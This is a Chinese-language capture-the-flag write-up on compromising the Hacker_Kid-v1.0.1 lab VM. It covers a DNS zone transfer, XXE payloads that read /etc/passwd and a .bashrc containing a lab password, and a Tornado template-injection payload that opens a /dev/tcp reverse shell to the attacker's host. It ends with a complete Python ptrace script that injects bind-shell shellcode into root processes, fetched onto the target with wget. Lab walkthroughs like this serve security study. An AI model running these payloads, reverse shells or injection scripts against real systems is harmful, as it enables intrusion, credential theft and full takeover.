Hacker_Kid-v1.0.1靶机

实验主机:Hacker_Kid-v1.0.1靶机一台/Kali linux攻击机一台

Hacker_Kid-v1.0.1靶机 IP:192.168.3.225

Kali linux攻击机 IP:192.168.3.32

实验网络:桥接模式

实验目标:获取靶机的Root权限

目录

一、环境部署

二、信息收集

三、漏洞探测

四、漏洞利用

五、提权


一、环境部署

  1. 下载导入靶机 --- 打开vmware–文件–打开–Hacker_Kid-v1.0.1.ova
  2. 将靶机网络适配器改为桥接模式
  3. 启动靶机

二、信息收集

1. 扫描主机

arp-scan -l   #192.168.3.225
可以查看靶机的物理地址,来到这里比对

2. 使用nmap对靶机开放的端口进行更详细的扫描,开放53/80/9999三个端口

nmap -A -T4 -p- 192.168.3.225

53:DNS服务
80:http服务
9999:http tornado服务(tornado是python的web框架)

3. 访问80端口:http://192.168.3.225

访问9999端口:http://192.168.3.225:9999/ 发现是一个登录页面

4. 目录识别

dirsearch -u http://192.168.3.225/

5. 查看首页网页源码发现提示,让我们使用GET参数page_no去浏览页面

6. 尝试使用page_no=1进行测试,发现页面提示深入一点是不对的,需要我们深入尝试更多的数字

7. 使用抓包进行爆破,发现page_no=21,进行访问发现域名 hackers.blackhat.local

8. 将域名添加到/etc/hosts文件上

9. 前面提示我们要用dig,所以我们用dig工具

dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-m] [-p port#] [-q name] [-t type] [-x addr] [-y [hmac:]name:key] [-4] [-6] [name] [type] [class] [queryopt…]
使用dig命令,您可以查询各种DNS记录的信息,包括主机地址,邮件交换和域名服务器。它是系统管理员中用于排除DNS问题的最常用工具,它具很高的灵活性和易用性。
 
@<服务器地址>:指定进行域名解析的域名服务器;
-b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
-P:指定域名服务器所使用端口号;
-t<类型>:指定要查询的DNS数据类型;
-x<IP地址>:执行逆向域名查询;
-4:使用IPv4;
-6:使用IPv6;
-h:显示指令帮助信息。

10. 使用dig axfr @192.168.3.225 blackhat.local 命令,发现成功同步到dns服务器的数据,DNS安全配置存在问题,正常情况下应该只能在同一区域不同DNS服务器之间同步数据

11. 我们发现新的域名hackerkid.blackhat.local,将他添加到/etc/hosts文件中。在kali里面访问域名

三、漏洞探测

1. 访问域名发现存在一个创建账号的页面,先尝试提交下信息进行抓包,发现是xml格式进行的信息交互,盲猜可能存在xxe漏洞。

四、漏洞利用

1. 使用XXE payload尝试读取/etc/passwd文件,在返回值中我们发现只有root和saket用户具备登陆bash的权限

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&test;
</email>
<password>
admin
</password>
</root>

2. 尝试读取.bashrc文件,bashrc 配置文件可以对命令进行自定义,在这里我们直接读取是报错的,使用php的base64过滤器进行编码并读取信息

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>

<root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&test;
</email>
<password>
admin
</password>
</root>

3. 对Base64进行解码,在解码后内容发现一个账密信息

username="admin"

password="Saket!#$%@!!"

IyB+Ly5iYXNocmM6IGV4ZWN1dGVkIGJ5IGJhc2goMSkgZm9yIG5vbi1sb2dpbiBzaGVsbHMuCiMgc2VlIC91c3Ivc2hhcmUvZG9jL2Jhc2gvZXhhbXBsZXMvc3RhcnR1cC1maWxlcyAoaW4gdGhlIHBhY2thZ2UgYmFzaC1kb2MpCiMgZm9yIGV4YW1wbGVzCgojIElmIG5vdCBydW5uaW5nIGludGVyYWN0aXZlbHksIGRvbid0IGRvIGFueXRoaW5nCmNhc2UgJC0gaW4KICAgICppKikgOzsKICAgICAgKikgcmV0dXJuOzsKZXNhYwoKIyBkb24ndCBwdXQgZHVwbGljYXRlIGxpbmVzIG9yIGx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YWJsZWQgaW4gL2V0Yy9iYXNoLmJhc2hyYyBhbmQgL2V0Yy9wcm9maWxlCiMgc291cmNlcyAvZXRjL2Jhc2guYmFzaHJjKS4KaWYgISBzaG9wdCAtb3EgcG9zaXg7IHRoZW4KICBpZiBbIC1mIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2Jhc2hfY29tcGxldGlvbiBdOyB0aGVuCiAgICAuIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2Jhc2hfY29tcGxldGlvbgogIGVsaWYgWyAtZiAvZXRjL2Jhc2hfY29tcGxldGlvbiBdOyB0aGVuCiAgICAuIC9ldGMvYmFzaF9jb21wbGV0aW9uCiAgZmkKZmkKCiNTZXR0aW5nIFBhc3N3b3JkIGZvciBydW5uaW5nIHB5dGhvbiBhcHAKdXNlcm5hbWU9ImFkbWluIgpwYXNzd29yZD0iU2FrZXQhIyQlQCEhIgo=
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

4. 拿到账密以后,通过前期信息收集,只发现9999端口上存在登陆页面,使用账密进行登录发现失败

5. 想到刚才看到的/etc/hosts文件中的用户信息saket,本来账号密码就是在saket用户下发现,那么此处的登录名是否就是saket,那就先尝试下,发现会成功登录

6. 登录进去会发现告诉网站name,那么是否是get型或post型传参,用name变量进行测试,页面成功输出。经过测试,此处使用的name传参是get型

http://192.168.3.225:9999/?name=test

7. 在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下。首先第一个payload成功执行,输出了一个49的值,第二个payload是一个模板注入通用payload,页面报错说明存在模板注入漏洞

${7*7},{{7*7}}    ## 测试哪个表达式被执行了
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]   //SSTI通用测试payload,报错说明存在漏洞

8. 既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用,进行url编码

kali:nc -nvlp 9999

# 这里kali突然改了个IP192.168.3.21
编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.3.21/9999 0>&1"')}}
 
编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.21%2F9999%200%3E%261%22')%7D%7D

http://192.168.3.225:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.21%2F9999%200%3E%261%22')%7D%7D

五、提权

1. sudo -l 查看是否有可提权的命令,但是不能用这种办法

2. SUID提权,也不能利用

原理:SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

find / -perm -4000 2>/dev/null  ##查看是否具有root权限的命令

常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk

下面这个方法成功了

1. 新建提权脚本1.py,写入数据

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

2. 将脚本下载到靶机中

python -m http.server 80
wget http://192.168.3.21:80/1.py

3. 使用ps -aux | grep root获取到root用户权限执行的进程

4. 将代码注⼊到以root账户运⾏的进程,查看5600端⼝是否开放

python2.7 1.py 862   //这个不行可以换其他的进程号
netstat -an | grep 5600

批量运行:for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 1.py $i; done

5. 使用nc直接连接到靶机5600端口,成功建立连接

nc 192.168.3.225 5600
python3 -c 'import pty; pty.spawn("/bin/bash")'

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值